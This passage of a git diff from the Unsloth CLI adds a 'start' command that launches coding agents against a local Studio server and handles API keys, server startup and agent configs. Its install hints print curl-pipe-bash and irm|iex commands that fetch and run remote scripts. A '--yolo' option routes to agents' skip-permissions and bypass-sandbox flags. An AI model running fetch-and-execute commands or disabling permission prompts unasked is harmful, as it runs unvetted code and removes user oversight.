-    config: dict = {}
-    if path.exists():
-        try:
-            loaded = yaml.safe_load(path.read_text(encoding = "utf-8"))
-        except (yaml.YAMLError, OSError):
-            typer.echo(
-                f"Warning: couldn't parse {path} — configure the custom endpoint "
-                "there yourself, or move the file aside and re-run.",
-                err = True,
-            )
-            return
-        if isinstance(loaded, dict):
-            config = loaded
-        elif loaded is not None:
-            # Non-empty, non-mapping YAML is a user-managed file; leave it.
-            typer.echo(
-                f"Warning: couldn't parse {path} — configure the custom endpoint "
-                "there yourself, or move the file aside and re-run.",
-                err = True,
-            )
-            return
-    # Hermes only reads the key for a *named* custom provider (a bare
-    # `provider: custom` ignores it), so register it under providers.*.
-    _subdict(config, "model").update(
-        provider = f"custom:{_HERMES_PROVIDER}",
-        default = model["id"],
-        api_mode = "openai",
-    )
-    _subdict(config, "providers")[_HERMES_PROVIDER] = {
-        "base_url": f"{base}/v1",
-        "api_mode": "openai",
-        "key_env": _HERMES_ENV_KEY,
-    }
-    text = yaml.safe_dump(config, sort_keys = False)
-    if not path.exists() or path.read_text(encoding = "utf-8") != text:
-        path.parent.mkdir(parents = True, exist_ok = True)
-        path.write_text(text, encoding = "utf-8")
-        typer.echo(f"Updated {path}")
-
-
-@connect_app.command("claude", context_settings = _PASSTHROUGH)
-def claude(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point Claude Code at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    model_id = entry["id"]
-    ensure_claude_attribution_header()
-
-    env = {
-        "ANTHROPIC_BASE_URL": base,
-        "ANTHROPIC_AUTH_TOKEN": key,
-        "ANTHROPIC_MODEL": model_id,
-        # Update checks, beta features, and other background requests either
-        # stall against a local server or evict the conversation from
-        # llama-server's KV-cache slots, so turn off everything nonessential.
-        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
-        "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1",
-    }
-    command = ["claude", "--model", model_id, *_claude_cache_flags(), *ctx.args]
-    install_hint = (
-        "irm https://claude.ai/install.ps1 | iex"
-        if os.name == "nt"
-        else "curl -fsSL https://claude.ai/install.sh | bash"
-    )
-    _run(
-        base,
-        entry,
-        env,
-        command,
-        launch = launch,
-        install_hint = install_hint,
-        unset_env = _CLAUDE_ENV_UNSET,
-    )
-
-
-@connect_app.command("codex", context_settings = _PASSTHROUGH)
-def codex(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point OpenAI Codex at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    _require_gguf_for_codex(base, key, entry["id"])
-    write_codex_config(base, entry)
-
-    env = {_CODEX_ENV_KEY: key}
-    command = ["codex", "--oss", "--profile", _CODEX_PROFILE, *ctx.args]
-    _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex")
-
-
-@connect_app.command("openclaw", context_settings = _PASSTHROUGH)
-def openclaw(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point OpenClaw at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    write_openclaw_config(base, key, entry)  # key lives in the config, not the env
-
-    command = ["openclaw", *ctx.args]
-    install_hint = (
-        "iwr -useb https://openclaw.ai/install.ps1 | iex"
-        if os.name == "nt"
-        else "curl -fsSL https://openclaw.ai/install.sh | bash"
-    )
-    _run(base, entry, {}, command, launch = launch, install_hint = install_hint)
-
-
-@connect_app.command("opencode", context_settings = _PASSTHROUGH)
-def opencode(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point OpenCode at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    write_opencode_config(base, key, entry)  # key lives in the config, not the env
-
-    command = ["opencode", *ctx.args]
-    _run(base, entry, {}, command, launch = launch, install_hint = "npm install -g opencode-ai")
-
-
-@connect_app.command("hermes", context_settings = _PASSTHROUGH)
-def hermes(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point Hermes (Nous Research) at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    write_hermes_config(base, entry)
-
-    env = {_HERMES_ENV_KEY: key}
-    command = ["hermes", *ctx.args]
-    install_hint = (
-        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
-        "/main/scripts/install.sh | bash"
-    )
-    _run(base, entry, env, command, launch = launch, install_hint = install_hint)
diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
new file mode 100644
index 0000000000..b188180188
--- /dev/null
+++ b/unsloth_cli/commands/start.py
@@ -0,0 +1,1497 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""`unsloth start` — launch a coding agent against a running Studio server."""
+
+import atexit
+import contextlib
+import json
+import os
+import re
+import shlex
+import shutil
+import signal
+import subprocess
+import sys
+import tempfile
+import time
+import urllib.error
+import urllib.request
+from pathlib import Path
+from typing import NamedTuple, NoReturn, Optional
+from urllib.parse import urlparse
+
+import click
+import typer
+
+from unsloth_cli._inference import (
+    _USER_AGENT,
+    _studio_token,
+    ensure_studio_backend_path,
+    find_studio_server,
+    is_loopback_url,
+    urlopen_no_redirect,
+    verify_studio_identity,
+)
+
+start_app = typer.Typer(
+    help = "Start a coding agent against a running Studio server.",
+    no_args_is_help = True,
+    context_settings = {"help_option_names": ["-h", "--help"]},
+)
+
+_CODEX_PROFILE = "unsloth_api"
+_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"
+_HERMES_ENV_KEY = "UNSLOTH_API_KEY"
+_HERMES_PROVIDER = "unsloth"
+# Hermes refuses to initialize when the model window is under 64,000 tokens; its
+# error message points at the model.context_length / auxiliary.compression
+# overrides in config.yaml. write_hermes_config claims this value for smaller
+# windows and scales the compaction threshold back down to the real window.
+_HERMES_MIN_CONTEXT = 65536
+_PI_PROVIDER = "unsloth"
+_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"
+_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}
+_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN")
+
+# Shared by every agent command; only the config/env/command differ.
+_MODEL_OPTION = typer.Option(
+    None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio."
+)
+_KEY_OPTION = typer.Option(
+    None,
+    "--api-key",
+    envvar = "UNSLOTH_API_KEY",
+    help = (
+        "Studio API key. For a local Studio it is minted automatically and "
+        "remembered per server. For a remote server, pass one with --api-key "
+        "(or UNSLOTH_API_KEY); it is remembered for next time."
+    ),
+)
+_LAUNCH_OPTION = typer.Option(
+    True,
+    "--launch/--no-launch",
+    help = "--no-launch prints the env and command instead (remote shells, WSL).",
+)
+_SERVE_OPTION = typer.Option(
+    True,
+    "--serve/--no-serve",
+    help = (
+        "If no Studio server is running, auto-start one for --model and stop it when the "
+        "agent exits. --no-serve keeps the old behavior of erroring out."
+    ),
+)
+# Model-load knobs mirrored from `unsloth run`; only used when --model triggers a
+# load on the server. Server-startup flags (--host/--port/--cloudflare/...) do not
+# apply here because `unsloth start` attaches to an already-running server.
+_GGUF_VARIANT_OPTION = typer.Option(
+    None, "--gguf-variant", help = "GGUF quant variant to load (e.g. UD-Q4_K_XL)."
+)
+_CONTEXT_OPTION = typer.Option(
+    0,
+    "--max-seq-length",
+    "--context-length",
+    help = "Context length in tokens for the load (0 = model default).",
+)
+_LOAD_4BIT_OPTION = typer.Option(
+    True, "--load-in-4bit/--no-load-in-4bit", help = "Load hub models in 4-bit (ignored for GGUF)."
+)
+_TENSOR_PARALLEL_OPTION = typer.Option(
+    False,
+    "--tensor-parallel/--no-tensor-parallel",
+    help = "Split a GGUF across GPUs by tensor instead of by layer (multi-GPU only).",
+)
+# One normalized "run tools without prompting" switch. Each agent spells this
+# differently and it's easy to forget which is which, so accept every spelling and
+# route to the agent's own mechanism in _yolo_command_flags / the config writers.
+_YOLO_OPTION = typer.Option(
+    False,
+    "--yolo",
+    "--dangerously-skip-permissions",
+    "--dangerously-bypass-approvals-and-sandbox",
+    help = (
+        "Auto-approve all tool actions for this session; routed to the agent's own "
+        "flag/config. Any of the three spellings works for any agent."
+    ),
+)
+
+# Per-agent CLI flag for "run tools without prompting". opencode and openclaw have no
+# such flag (config only) and are handled in their config writers, so they are absent.
+_YOLO_COMMAND_FLAGS = {
+    "claude": ["--dangerously-skip-permissions"],
+    "codex": ["--dangerously-bypass-approvals-and-sandbox"],
+    "hermes": ["--yolo"],
+    # Pi never prompts per tool call; its only approval gate is project trust, so -a
+    # (trust project resources) is the closest "don't ask me" equivalent.
+    "pi": ["--approve"],
+}
+
+
+def _yolo_command_flags(agent: str, yolo: bool) -> list:
+    # .get so a config-based agent (or a typo) yields no flag instead of a KeyError.
+    return _YOLO_COMMAND_FLAGS.get(agent, []) if yolo else []
+
+
+class LoadOptions(NamedTuple):
+    """Model-load knobs forwarded to /api/inference/load when --model triggers a load."""
+
+    gguf_variant: Optional[str] = None
+    max_seq_length: int = 0
+    load_in_4bit: bool = True
+    tensor_parallel: bool = False
+
+
+def _split_repo_variant(model: str) -> tuple:
+    """Split ``org/name:QUANT`` into ``(repo, variant)`` -> ``("org/name", "QUANT")``.
+
+    ``unsloth run`` and llama.cpp accept ``--model org/name:QUANT`` as shorthand for
+    ``--model org/name --gguf-variant QUANT``. Mirror that here so a ``:variant`` suffix
+    resolves against the already-loaded ``org/name`` (which /v1/models lists without the
+    suffix) instead of trying to load a repo id containing ``:`` -- which Hugging Face
+    rejects, and which would evict a model another session is using. Local paths, Windows
+    drive letters, and ids without a ``:`` pass through unchanged.
+    """
+    s = (model or "").strip()
+    if not s or s.startswith(("/", "./", "../", "~")) or s == ".":
+        return s, None
+    if len(s) >= 2 and s[1] == ":" and s[0].isalpha():  # Windows drive, e.g. C:\models\x
+        return s, None
+    if ":" not in s:
+        return s, None
+    repo, _, variant = s.rpartition(":")
+    if not repo or not variant or "/" in variant:
+        return s, None
+    return repo, variant
+
+
+def _fail(message: str) -> NoReturn:
+    typer.echo(message, err = True)
+    raise typer.Exit(code = 1)
+
+
+def _http_error_detail(exc: urllib.error.HTTPError) -> str:
+    try:
+        body = json.loads(exc.read().decode())
+        return body.get("detail") or body["error"]["message"]
+    except Exception:
+        return str(exc)
+
+
+def _http_json(
+    method: str,
+    url: str,
+    token: str,
+    payload = None,
+    timeout = 30,
+    error = None,
+):
+    """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail."""
+    request = urllib.request.Request(
+        url,
+        data = None if payload is None else json.dumps(payload).encode(),
+        headers = {
+            "Authorization": f"Bearer {token}",
+            "Content-Type": "application/json",
+            "User-Agent": _USER_AGENT,
+        },
+        method = method,
+    )
+    try:
+        # No redirects: a 3xx would leak this bearer token to an unvetted base.
+        with urlopen_no_redirect(request, timeout = timeout) as response:
+            return json.loads(response.read().decode() or "{}")
+    except urllib.error.HTTPError as exc:
+        if error is None:
+            raise
+        _fail(f"{error}: {_http_error_detail(exc)}")
+    except (urllib.error.URLError, TimeoutError) as exc:
+        if error is None:
+            raise
+        _fail(f"{error}: {getattr(exc, 'reason', None) or exc}")
+
+
+# A server that WE auto-started (never one we merely found). Kept at module scope so
+# _run's finally and the atexit backstop can tear it down without threading a handle
+# through all six agent commands. Only one agent runs per process, so one slot is enough.
+_auto_served_server: Optional[subprocess.Popen] = None
+# Model download + load can be slow; give the auto-started server room before giving up.
+_SERVER_START_TIMEOUT_S = 900
+
+
+def _studio_healthy(base: str, timeout: float = 3.0) -> bool:
+    request = urllib.request.Request(f"{base}/api/health", headers = {"User-Agent": _USER_AGENT})
+    try:
+        with urllib.request.urlopen(request, timeout = timeout) as response:
+            return json.loads(response.read(65536).decode() or "{}").get("status") == "healthy"
+    except Exception:
+        return False
+
+
+def _log_tail(path: Path, lines: int = 20) -> str:
+    try:
+        return "\n".join(path.read_text(encoding = "utf-8", errors = "replace").splitlines()[-lines:])
+    except OSError:
+        return "(no server log)"
+
+
+def _shutdown_server(server: Optional[subprocess.Popen]) -> None:
+    # Idempotent teardown of a server WE started, plus its own children (llama-server,
+    # cloudflared). A no-op once the process is already gone.
+    if server is None or server.poll() is not None:
+        return
+    if os.name == "nt":
+        # terminate()/kill() reach only the parent `unsloth run`; taskkill /T walks the
+        # whole tree so the llama-server child doesn't keep the port and GPU (matches the
+        # taskkill /T /F pattern already used in unsloth/dataprep/synthetic.py).
+        try:
+            subprocess.run(
+                ["taskkill", "/PID", str(server.pid), "/T", "/F"],
+                capture_output = True,
+                timeout = 15,
+                check = False,
+            )
+            server.wait(timeout = 5)
+        except Exception:
+            with contextlib.suppress(Exception):
+                server.kill()
+        return
+    try:
+        os.killpg(os.getpgid(server.pid), signal.SIGTERM)
+    except OSError:
+        server.terminate()
+    try:
+        server.wait(timeout = 15)
+    except Exception:
+        try:
+            os.killpg(os.getpgid(server.pid), signal.SIGKILL)
+        except OSError:
+            server.kill()
+
+
+def _shutdown_auto_served() -> None:
+    global _auto_served_server
+    server, _auto_served_server = _auto_served_server, None
+    if server is not None and server.poll() is None:
+        typer.echo("Stopping the auto-started Studio server…")
+        _shutdown_server(server)
+
+
+def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess.Popen:
+    """Spawn `unsloth run` for `model`, wait until it is fully ready, and return it."""
+    global _auto_served_server
+    unsloth = shutil.which("unsloth") or "unsloth"
+    parsed = urlparse(base)
+    # --disable-tools = passthrough mode (relay the agent's own tools); --no-cloudflare =
+    # loopback only, no tunnel. Mirrors .github/scripts/serve-unsloth-run.sh.
+    command = [
+        unsloth,
+        "run",
+        "-H",
+        parsed.hostname or "127.0.0.1",
+        "-p",
+        str(parsed.port or 8888),
+        "--disable-tools",
+        "--no-cloudflare",
+        "--model",
+        model,
+    ]
+    if load.gguf_variant:
+        command += ["--gguf-variant", load.gguf_variant]
+    if load.max_seq_length:
+        command += ["--context-length", str(load.max_seq_length)]
+    if not load.load_in_4bit:
+        command += ["--no-load-in-4bit"]
+    if load.tensor_parallel:
+        command += ["--tensor-parallel"]
+
+    log_path = Path(tempfile.gettempdir()) / f"unsloth-start-server-{os.getpid()}.log"
+    typer.echo(
+        f"No Studio server at {base}. Starting one for {model} (loading the model can take a while)…"
+    )
+    typer.echo(f"Server log: {log_path}")
+    # 0600: the `unsloth run` banner in this log carries the minted sk-unsloth- key, and
+    # the tempdir is world-traversable. Unlink first so a stale looser-mode file (pid
+    # reuse) can't survive with its old permissions.
+    log_path.unlink(missing_ok = True)
+    log = os.fdopen(os.open(log_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "wb")
+    # Own session/process group so a mid-session Ctrl+C (cancel a turn) doesn't reach the
+    # server; we tear it down explicitly when the agent exits.
+    kwargs: dict = {"stdout": log, "stderr": subprocess.STDOUT, "stdin": subprocess.DEVNULL}
+    if os.name == "nt":
+        kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP
+    else:
+        kwargs["start_new_session"] = True
+    try:
+        server = subprocess.Popen(command, **kwargs)
+    finally:
+        log.close()  # Popen dup'd the fd; drop the parent's copy
+    _auto_served_server = server
+    atexit.register(_shutdown_auto_served)
+
+    deadline = time.monotonic() + _SERVER_START_TIMEOUT_S
+    while time.monotonic() < deadline:
+        if server.poll() is not None:
+            tail = _log_tail(log_path)
+            _shutdown_auto_served()
+            _fail(f"The Studio server stopped before it was ready. Last log lines:\n{tail}")
+        # `unsloth run` prints the minted key only after the server is up AND the model is
+        # loaded, so it is the fully-ready signal (same contract serve-unsloth-run.sh uses).
+        if _studio_healthy(base) and "sk-unsloth-" in _log_tail(log_path, lines = 400):
+            typer.echo(f"Studio server ready at {base}.")
+            return server
+        time.sleep(2.0)
+    _shutdown_auto_served()
+    _fail(
+        f"The Studio server didn't become ready within {_SERVER_START_TIMEOUT_S}s. See {log_path}."
+    )
+
+
+def _effective_base(base: str) -> str:
+    # `unsloth run` binds to `parsed.port or 8888` and serves at the root, so normalize
+    # UNSLOTH_STUDIO_URL to plain scheme://host:port. A portless http://127.0.0.1 would
+    # otherwise launch on 8888 but poll port 80, and a path like /studio would poll
+    # /studio/api/health (404) -- either way hitting the startup timeout. IPv6 literals
+    # stay bracketed.
+    parsed = urlparse(base)
+    host = parsed.hostname or "127.0.0.1"
+    if ":" in host:  # bare IPv6 literal (urlparse strips the brackets)
+        host = f"[{host}]"
+    return f"{parsed.scheme or 'http'}://{host}:{parsed.port or 8888}"
+
+
+def _require_studio(
+    model: Optional[str] = None,
+    load: Optional[LoadOptions] = None,
+    *,
+    serve: bool = False,
+    launch: bool = True,
+) -> tuple:
+    """Return (base, server). server is a Popen only when WE auto-started it."""
+    base = find_studio_server()
+    if base is not None:
+        return base, None
+    expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888").rstrip("/")
+    # Auto-start a local server only for an interactive launch with a model to serve, and
+    # only for a plain-HTTP loopback target: never stand in for an explicit remote
+    # UNSLOTH_STUDIO_URL, and never for an https:// one -- `unsloth run` serves plain
+    # HTTP, so the health poll against https would spin until the startup timeout.
+    if (
+        serve
+        and launch
+        and model
+        and is_loopback_url(expected)
+        and urlparse(expected).scheme == "http"
+    ):
+        # Normalize to the port unsloth run actually binds, so the health poll and the
+        # returned base hit the same server we launch (not a portless :80).
+        expected = _effective_base(expected)
+        return expected, _start_studio_server(expected, model, load or LoadOptions())
+    model_hint = "" if model else " Pass --model to have it start one for you, or"
+    _fail(
+        f"No running Studio server found at {expected}.{model_hint} start one with "
+        "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server."
+    )
+
+
+def _key_cache_path() -> Path:
+    ensure_studio_backend_path()
+    from utils.paths import auth_root
+    return auth_root() / "agent_api_key.json"
+
+
+def _read_cache(cache: Path) -> dict:
+    try:
+        data = json.loads(cache.read_text(encoding = "utf-8"))
+    except Exception:
+        return {}
+    return data if isinstance(data, dict) else {}
+
+
+def _server_buckets(servers: dict, base: str) -> dict:
+    # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a
+    # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake).
+    entry = servers.get(base) if isinstance(servers, dict) else None
+    if isinstance(entry, list):
+        return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]}
+    if not isinstance(entry, dict):
+        return {"saved": [], "minted": []}
+
+    def _strs(name: str) -> list:
+        value = entry.get(name)
+        return [k for k in value if isinstance(k, str)] if isinstance(value, list) else []
+
+    return {"saved": _strs("saved"), "minted": _strs("minted")}
+
+
+def _cached_keys(cache: Path, base: str, source: str) -> list:
+    # Keys are scoped per server. `source` splits user-supplied --api-key keys
+    # ("saved", trusted for that base) from auto-minted ones ("minted", replayed
+    # only after the identity check). Legacy unscoped caches are ignored.
+    return _server_buckets(_read_cache(cache).get("servers", {}), base)[source]
+
+
+def _write_private_json(path: Path, data: dict) -> None:
+    # O_CREAT with 0o600 so a file holding an API key is never world-readable,
+    # even briefly (existing files keep whatever perms the user set).
+    path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700)
+    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
+    with os.fdopen(fd, "w") as handle:
+        handle.write(json.dumps(data, indent = 2) + "\n")
+
+
+def _read_json_object(path: Path) -> Optional[dict]:
+    # {} when missing, None when it can't be parsed as an object (so the caller
+    # leaves a user-managed file untouched rather than clobbering it).
+    if not path.exists():
+        return {}
+    try:
+        data = json.loads(path.read_text(encoding = "utf-8"))
+    except (ValueError, OSError):
+        return None
+    return data if isinstance(data, dict) else None
+
+
+def _subdict(parent: dict, key: str) -> dict:
+    child = parent.get(key)
+    if not isinstance(child, dict):
+        child = parent[key] = {}
+    return child
+
+
+def _remember_key(cache: Path, base: str, key: str, source: str) -> None:
+    data = _read_cache(cache)
+    servers = data.get("servers")
+    if not isinstance(servers, dict):
+        servers = data["servers"] = {}
+    buckets = _server_buckets(servers, base)
+    other = "minted" if source == "saved" else "saved"
+    buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8]
+    buckets[other] = [k for k in buckets[other] if k != key]  # a key has one provenance
+    new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]}
+    if servers.get(base) == new_entry:
+        return
+    servers[base] = new_entry
+    # Collapse legacy unscoped fields.
+    data.pop("keys", None)
+    data.pop("key", None)
+    try:
+        _write_private_json(cache, data)
+    except OSError:
+        pass  # worst case the next launch mints another key
+
+
+def _key_accepted(base: str, key: str) -> bool:
+    # Only a genuine auth rejection (401/403) means "this key is bad -- skip it and try
+    # the next cached key or mint a fresh one". A 5xx or a network blip is a server-side
+    # outage, not a bad key: fail with a clean message (never a traceback) instead of
+    # silently discarding a working key and minting extras against a struggling server.
+    try:
+        _http_json("GET", f"{base}/v1/models", key)
+        return True
+    except urllib.error.HTTPError as exc:
+        if exc.code in (401, 403):
+            return False
+        _fail(
+            f"Studio server error while checking an API key ({exc.code}). "
+            "The server may be starting up or unhealthy; try again shortly."
+        )
+    except (urllib.error.URLError, TimeoutError) as exc:
+        _fail(
+            "Couldn't reach the Studio server while checking an API key: "
+            f"{getattr(exc, 'reason', None) or exc}"
+        )
+
+
+def _agent_api_key(
+    base: str,
+    explicit: Optional[str],
+    *,
+    auto_started: bool = False,
+) -> str:
+    cache = _key_cache_path()
+    if explicit:
+        if not auto_started or _key_accepted(base, explicit):
+            _remember_key(cache, base, explicit, "saved")
+            return explicit
+        # The server was auto-started for this run, so an exported
+        # UNSLOTH_API_KEY meant for some other server must not fail the
+        # launch: the loopback mint path below is guaranteed to work.
+        # (An explicit key that the fresh server accepts, e.g. one persisted
+        # in this Studio home's auth db, is still honored above.)
+
+    # Replay a key the user saved for *this exact* server first (scoped per base,
+    # so it only goes back there -- including a remote/SSH-tunnelled Studio whose
+    # secret the local handshake can't match). Skip ones the server rejects.
+    for key in _cached_keys(cache, base, "saved"):
+        if _key_accepted(base, key):
+            _remember_key(cache, base, key, "saved")
+            return key
+
+    # Beyond here we auto-mint or replay an auto-minted key. find_studio_server()
+    # trusts a base after only a health check, so both are limited to a loopback
+    # server we can cryptographically confirm is ours.
+    if not is_loopback_url(base):
+        _fail(
+            f"No saved API key for {base} and automatic minting only runs against "
+            "a local Studio. Create an API key in Studio → Settings → API and "
+            "pass it with --api-key (it is remembered per server), or set "
+            "UNSLOTH_API_KEY."
+        )
+    if not verify_studio_identity(base):
+        _fail(
+            f"Couldn't verify that {base} is your Studio (it may be running as a "
+            "different OS user, or another process took the port). Create an API "
+            "key in Studio → Settings → API and pass it with --api-key, or set "
+            "UNSLOTH_API_KEY."
+        )
+
+    # Identity verified: replay a previously auto-minted key, else mint a new one.
+    for key in _cached_keys(cache, base, "minted"):
+        if _key_accepted(base, key):
+            _remember_key(cache, base, key, "minted")
+            return key
+
+    # Self-issue a JWT (signed with the local secret) and mint a key.
+    token = _studio_token()
+    if token is None:
+        _fail(
+            "Couldn't authenticate with the Studio server automatically. Create "
+            "an API key in Studio → Settings → API and pass it with --api-key, "
+            "or set UNSLOTH_API_KEY."
+        )
+    key = _http_json(
+        "POST",
+        f"{base}/api/auth/api-keys",
+        token,
+        {"name": "Coding agents (unsloth start)"},
+        error = "Couldn't create an API key",
+    )["key"]
+    _remember_key(cache, base, key, "minted")
+    return key
+
+
+def _loaded_models(base: str, key: str) -> list:
+    return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", [])
+
+
+def _resolve_model(
+    base: str,
+    key: str,
+    requested: Optional[str],
+    load: LoadOptions = LoadOptions(),
+) -> dict:
+    models = _loaded_models(base, key)
+    # /v1/models reports the model id but not the active GGUF variant or runtime load
+    # settings, so an id match alone can hide the wrong quant (Q8_0 serving while the
+    # user asked for UD-Q4_K_XL). When the user passed any explicit load knob, defer to
+    # /api/inference/load: the server's already-loaded dedup answers "already_loaded"
+    # without reloading when the variant AND settings match, so a second session running
+    # the same command still attaches without evicting the first.
+    load_has_overrides = bool(
+        load.gguf_variant or load.max_seq_length or not load.load_in_4bit or load.tensor_parallel
+    )
+    match = (
+        None
+        if requested and load_has_overrides
+        else next((m for m in models if m["id"] == requested), None)
+    )
+    if requested and match is None:
+        typer.echo(
+            f"Ensuring {requested} is loaded with the requested settings…"
+            if load_has_overrides
+            else f"Loading {requested} on the Studio server (this can take a while)…"
+        )
+        # Mirror `unsloth run`'s load knobs; keep the default payload as just
+        # model_path so a bare `--model` load is unchanged.
+        payload = {"model_path": requested}
+        if load.gguf_variant:
+            payload["gguf_variant"] = load.gguf_variant
+        if load.max_seq_length:
+            payload["max_seq_length"] = load.max_seq_length
+        if not load.load_in_4bit:
+            payload["load_in_4bit"] = False
+        if load.tensor_parallel:
+            payload["tensor_parallel"] = True
+        loaded = _http_json(
+            "POST",
+            f"{base}/api/inference/load",
+            key,
+            payload,
+            timeout = 3600,
+            error = "Model load failed",
+        )
+        # Studio registers the model under a canonical id (resolved identifier,
+        # casing) that /v1/models echoes but which may differ from the path we
+        # passed; match on the id the load reports so we don't silently fall
+        # through to models[0] and connect to a different loaded model.
+        wanted = {requested}
+        if isinstance(loaded, dict):
+            wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}
+        models = _loaded_models(base, key)
+        match = next((m for m in models if m["id"] in wanted), None)
+    if match is not None:
+        return match
+    if requested:
+        # We asked Studio to load it and it didn't surface in /v1/models; don't
+        # silently hand back an unrelated loaded model.
+        _fail(
+            f"Studio didn't report '{requested}' as loaded. Double-check the model "
+            "id, or load it from the model dropdown in the UI."
+        )
+    if not models:
+        _fail(
+            "No model is loaded in Studio. Load one from the model dropdown in "
+            "the UI, or pass --model <hf-id-or-path> to load it from here."
+        )
+    return models[0]
+
+
+def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None:
+    # Codex always streams, and Studio only streams /v1/responses from llama-server.
+    try:
+        status = _http_json("GET", f"{base}/api/inference/status", key)
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return  # older server without the endpoint; don't block the launch
+        raise
+    if status.get("is_gguf"):
+        return
+    hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF"
+    _fail(
+        f"Codex needs a GGUF model served by llama-server, but {model_id} is on "
+        f"the transformers backend. Try: unsloth start codex --model {hint}"
+    )
+
+
+_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections"
+# Session overlay applied via `claude --settings`; suppresses the attribution header
+# for THIS run only (no ~/.claude write) so llama.cpp KV-cache reuse is preserved. It
+# reinforces the CLAUDE_CODE_ATTRIBUTION_HEADER env var on builds that read the setting
+# only from settings.json.
+_CLAUDE_SETTINGS_OVERLAY = '{"env":{"CLAUDE_CODE_ATTRIBUTION_HEADER":"0"}}'
+
+
+def _claude_version() -> Optional[tuple]:
+    # None = no local `claude` (a --no-launch printout for another machine; assume a
+    # current build). An unparseable version is treated as too old for the new flags.
+    executable = shutil.which("claude")
+    if executable is None:
+        return None
+    try:
+        result = subprocess.run(
+            [executable, "--version"], capture_output = True, text = True, timeout = 10
+        )
+        # Pull the X.Y.Z out of the output rather than assuming it is the first token.
+        # claude prints it first today ("2.1.98 (Claude Code)"), but a format change
+        # (e.g. "claude version 2.1.98") shouldn't silently drop the optimization flags;
+        # no match falls through to "too old", same as an unparseable version.
+        match = re.search(r"(\d+)\.(\d+)\.(\d+)", result.stdout)
+        return tuple(int(part) for part in match.groups()) if match else (0,)
+    except Exception:
+        return (0,)
+
+
+def _claude_flags() -> list:
+    # Both knobs preserve llama.cpp KV-cache reuse: --exclude-dynamic-system-prompt-sections
+    # moves per-session context out of the system prompt, and --settings suppresses the
+    # attribution header for this session only (no persistent ~/.claude write; the env var
+    # sets it too). Claude Code < 2.1.98 aborts on unknown flags, so gate on the version;
+    # no local binary means a printout for another machine, so assume a current build.
+    version = _claude_version()
+    if version is not None and version < (2, 1, 98):
+        return []
+    return [_DYNAMIC_SECTIONS_FLAG, "--settings", _CLAUDE_SETTINGS_OVERLAY]
+
+
+def _merge_codex_config(existing: str, base: str) -> str:
+    chunks = re.split(r"(?m)^(?=\[)", existing)  # preamble, then one chunk per table
+    if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]):
+        if chunks[0] and not chunks[0].endswith("\n"):
+            chunks[0] += "\n"
+        chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n'
+    # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables.
+    stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".")
+    text = "".join(c for c in chunks if not c.startswith(stale))
+    if not text.endswith("\n"):
+        text += "\n"
+    if not text.endswith("\n\n"):
+        text += "\n"
+    return text + (
+        f"{_PROVIDER_HEADER}\n"
+        'name = "Unsloth Studio"\n'
+        f"base_url = {json.dumps(base + '/v1')}\n"
+        f'env_key = "{_CODEX_ENV_KEY}"\n'
+        'wire_api = "responses"\n'
+        "requires_openai_auth = false\n"
+    )
+
+
+def write_codex_config(base: str, model: dict, home: Path) -> None:
+    home.mkdir(parents = True, exist_ok = True)
+
+    config = home / "config.toml"
+    existing = config.read_text(encoding = "utf-8") if config.exists() else ""
+    merged = _merge_codex_config(existing, base)
+    if merged != existing:
